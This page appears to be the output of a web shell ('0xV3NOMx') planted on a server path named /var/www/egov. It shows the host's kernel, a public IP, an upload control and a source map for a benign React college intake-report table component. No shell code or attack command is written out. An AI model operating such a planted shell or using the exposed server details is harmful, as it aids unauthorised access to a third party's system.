0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.48.226


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/200.4fb6ec0e.chunk.js.map

{"version":3,"sources":["pages/admission/intake-report/intake_report.js"],"names":["IntakeReport","_Component","_getPrototypeOf2","_this","_classCallCheck","this","_len","arguments","length","args","Array","_key","_possibleConstructorReturn","_getPrototypeOf","call","apply","concat","state","colgdet","searchVal","searchTable","e","data","string","value","searchPrbatch","props","reportdet","filter","o","Object","keys","some","k","toLowerCase","includes","setState","renderTable","report","React","createElement","className","style","marginBottom","backgroundColor","Input","icon","fluid","placeholder","onChange","fontSize","Table","celled","padded","selectable","size","color","Header","Row","textAlign","HeaderCell","Body","map","el","i","key","overflow","Cell","fcollcode","fcollname","town","fprincipalname","fmobile","faltmobile","femail","renderTaggedTable","structured","rowSpan","colSpan","cnt_code","center_name","cnt_contact","tagged_code","tagged_colg_name","tagged_contact","_inherits","_createClass","prevProps","rtype","Component"],"mappings":"8MAKMA,iBAAY,SAAAC,GAAA,SAAAD,IAAA,IAAAE,EAAAC,EAAAC,YAAAC,KAAAL,GAAA,QAAAM,EAAAC,UAAAC,OAAAC,EAAA,IAAAC,MAAAJ,GAAAK,EAAA,EAAAA,EAAAL,EAAAK,IAAAF,EAAAE,GAAAJ,UAAAI,GAiJf,OAjJeR,EAAAS,YAAAP,MAAAH,EAAAW,YAAAb,IAAAc,KAAAC,MAAAb,EAAA,CAAAG,MAAAW,OAAAP,MAChBQ,MAAQ,CAAEC,QAAS,GAAIC,UAAW,IAAIhB,EAYtCiB,YAAc,SAACC,EAAGC,GAChB,IAAMC,EAASD,EAAKE,MACdC,EAAgBtB,EAAKuB,MAAMC,UAAUC,OAAO,SAACC,GAAC,OAClDC,OAAOC,KAAKF,GAAGG,KAAK,SAACC,GAAC,OACpBJ,EAAEI,GAAGC,cAAcC,SAASZ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,KAAC,QAClBrB,IAAAC,cAACW,IAAMS,WAAU,KAAC,aAGtBrB,IAAAC,cAACW,IAAMU,KAAI,KACRvB,EAAOwB,IAAI,SAACC,EAAIC,GACf,OACEzB,IAAAC,cAACW,IAAMO,IAAG,CAACO,IAAKD,EAAGtB,MAAO,CAAEwB,SAAU,WACpC3B,IAAAC,cAACW,IAAMgB,KAAI,CAACR,UAAU,UAAUK,EAAI,GACpCzB,IAAAC,cAACW,IAAMgB,KAAI,KAAEJ,EAAGgB,UAChBxC,IAAAC,cAACW,IAAMgB,KAAI,KAAEJ,EAAGiB,aAChBzC,IAAAC,cAACW,IAAMgB,KAAI,KAAEJ,EAAGkB,aAChB1C,IAAAC,cAACW,IAAMgB,KAAI,KAAEJ,EAAGmB,aAChB3C,IAAAC,cAACW,IAAMgB,KAAI,KAAEJ,EAAGoB,kBAChB5C,IAAAC,cAACW,IAAMgB,KAAI,KAAEJ,EAAGqB,wBASjCjF,EAWA,OA5JekF,YAAArF,EAAAC,GAiJfqF,YAAAtF,EAAA,EAAAiE,IAAA,oBAAAzC,MAAA,WA7ICnB,KAAK+B,SAAS,CAAElB,QAASb,KAAKqB,MAAMC,cACrC,CAAAsC,IAAA,qBAAAzC,MAAA,SAEkB+D,GACblF,KAAKqB,MAAMC,YAAc4D,EAAU5D,WACrCtB,KAAK+B,SAAS,CAAElB,QAASb,KAAKqB,MAAMC,cAEvC,CAAAsC,IAAA,SAAAzC,MAAA,WAwIC,OAA4B,MAAxBnB,KAAKqB,MAAMC,UAA0B,KAEd,OAAzBtB,KAAKqB,MAAMC,WACS,oCAApBtB,KAAKqB,MAAM8D,MAEJnF,KAAKsE,oBAELtE,KAAKgC,kBAEfrC,EA5Je,CAASyF,cA+JZzF","file":"static/js/200.4fb6ec0e.chunk.js","sourcesContent":["import React, { Component } from \"react\";\r\nimport { Table, Input } from \"semantic-ui-react\";\r\nimport \"react-table/react-table.css\";\r\nimport \"../../../index.css\";\r\n\r\nclass IntakeReport extends Component {\r\n  state = { colgdet: [], searchVal: \"\" };\r\n\r\n  componentDidMount() {\r\n    this.setState({ colgdet: this.props.reportdet });\r\n  }\r\n\r\n  componentDidUpdate(prevProps) {\r\n    if (this.props.reportdet !== prevProps.reportdet) {\r\n      this.setState({ colgdet: this.props.reportdet });\r\n    }\r\n  }\r\n\r\n  searchTable = (e, data) => {\r\n    const string = data.value;\r\n    const searchPrbatch = this.props.reportdet.filter((o) =>\r\n      Object.keys(o).some((k) =>\r\n        o[k].toLowerCase().includes(string.toLowerCase())\r\n      )\r\n    );\r\n    this.setState({ colgdet: searchPrbatch, searchVal: data.value });\r\n  };\r\n\r\n  renderTable = () => {\r\n    const report = this.state.colgdet;\r\n    return (\r\n      <div className=\"mt-3\">\r\n        <hr />\r\n        <div\r\n          style={{\r\n            marginBottom: \"1em\",\r\n            backgroundColor: \"white\",\r\n          }}\r\n          className=\"stick\"\r\n        >\r\n          <Input\r\n            icon=\"search\"\r\n            fluid\r\n            placeholder=\"Search...\"\r\n            onChange={this.searchTable}\r\n            value={this.state.searchVal}\r\n            style={{ fontSize: \"1.1em\" }}\r\n          />\r\n        </div>\r\n        <div>\r\n          <Table\r\n            celled\r\n            padded\r\n            selectable\r\n            size=\"small\"\r\n            color=\"olive\"\r\n            className=\"tbl sticky\"\r\n          >\r\n            <Table.Header>\r\n              <Table.Row textAlign=\"center\">\r\n                <Table.HeaderCell>Sl.No.</Table.HeaderCell>\r\n                <Table.HeaderCell>College Code</Table.HeaderCell>\r\n                <Table.HeaderCell>College Name</Table.HeaderCell>\r\n                <Table.HeaderCell>Town</Table.HeaderCell>\r\n                <Table.HeaderCell>Principal Name</Table.HeaderCell>\r\n                <Table.HeaderCell>Mobile</Table.HeaderCell>\r\n                <Table.HeaderCell>Alt. Contact</Table.HeaderCell>\r\n                <Table.HeaderCell>Email Id</Table.HeaderCell>\r\n              </Table.Row>\r\n            </Table.Header>\r\n            <Table.Body>\r\n              {report.map((el, i) => {\r\n                return (\r\n                  <Table.Row key={i} style={{ overflow: \"hidden\" }}>\r\n                    <Table.Cell textAlign=\"center\">{i + 1}</Table.Cell>\r\n                    <Table.Cell>{el.fcollcode}</Table.Cell>\r\n                    <Table.Cell>{el.fcollname}</Table.Cell>\r\n                    <Table.Cell>{el.town}</Table.Cell>\r\n                    <Table.Cell>{el.fprincipalname}</Table.Cell>\r\n                    <Table.Cell>{el.fmobile}</Table.Cell>\r\n                    <Table.Cell>{el.faltmobile}</Table.Cell>\r\n                    <Table.Cell>{el.femail}</Table.Cell>\r\n                  </Table.Row>\r\n                );\r\n              })}\r\n            </Table.Body>\r\n          </Table>\r\n        </div>\r\n      </div>\r\n    );\r\n  };\r\n\r\n  renderTaggedTable = () => {\r\n    const report = this.state.colgdet;\r\n\r\n    return (\r\n      <div className=\"mt-3\">\r\n        <hr />\r\n        <div\r\n          style={{\r\n            marginBottom: \"1em\",\r\n            backgroundColor: \"white\",\r\n          }}\r\n          className=\"stick\"\r\n        >\r\n          <Input\r\n            icon=\"search\"\r\n            fluid\r\n            placeholder=\"Search...\"\r\n            onChange={this.searchTable}\r\n            value={this.state.searchVal}\r\n            style={{ fontSize: \"1.1em\" }}\r\n          />\r\n        </div>\r\n        <div>\r\n          <Table celled padded selectable structured size=\"small\" color=\"olive\">\r\n            <Table.Header>\r\n              <Table.Row textAlign=\"center\">\r\n                <Table.HeaderCell rowSpan=\"2\">Sl.No.</Table.HeaderCell>\r\n                <Table.HeaderCell colSpan=\"3\">Center</Table.HeaderCell>\r\n                <Table.HeaderCell colSpan=\"3\">Tagged Colleges</Table.HeaderCell>\r\n              </Table.Row>\r\n              <Table.Row textAlign=\"center\">\r\n                <Table.HeaderCell>Code</Table.HeaderCell>\r\n                <Table.HeaderCell>Name</Table.HeaderCell>\r\n                <Table.HeaderCell>Contact</Table.HeaderCell>\r\n                <Table.HeaderCell>Code</Table.HeaderCell>\r\n                <Table.HeaderCell>Name</Table.HeaderCell>\r\n                <Table.HeaderCell>Contact</Table.HeaderCell>\r\n              </Table.Row>\r\n            </Table.Header>\r\n            <Table.Body>\r\n              {report.map((el, i) => {\r\n                return (\r\n                  <Table.Row key={i} style={{ overflow: \"hidden\" }}>\r\n                    <Table.Cell textAlign=\"center\">{i + 1}</Table.Cell>\r\n                    <Table.Cell>{el.cnt_code}</Table.Cell>\r\n                    <Table.Cell>{el.center_name}</Table.Cell>\r\n                    <Table.Cell>{el.cnt_contact}</Table.Cell>\r\n                    <Table.Cell>{el.tagged_code}</Table.Cell>\r\n                    <Table.Cell>{el.tagged_colg_name}</Table.Cell>\r\n                    <Table.Cell>{el.tagged_contact}</Table.Cell>\r\n                  </Table.Row>\r\n                );\r\n              })}\r\n            </Table.Body>\r\n          </Table>\r\n        </div>\r\n      </div>\r\n    );\r\n  };\r\n  render() {\r\n    if (this.props.reportdet == null) return null;\r\n    else if (\r\n      this.props.reportdet !== null &&\r\n      this.props.rtype == \"Center List With Tagged Colleges\"\r\n    ) {\r\n      return this.renderTaggedTable();\r\n    } else {\r\n      return this.renderTable();\r\n    }\r\n  }\r\n}\r\n\r\nexport default IntakeReport;\r\n"],"sourceRoot":""}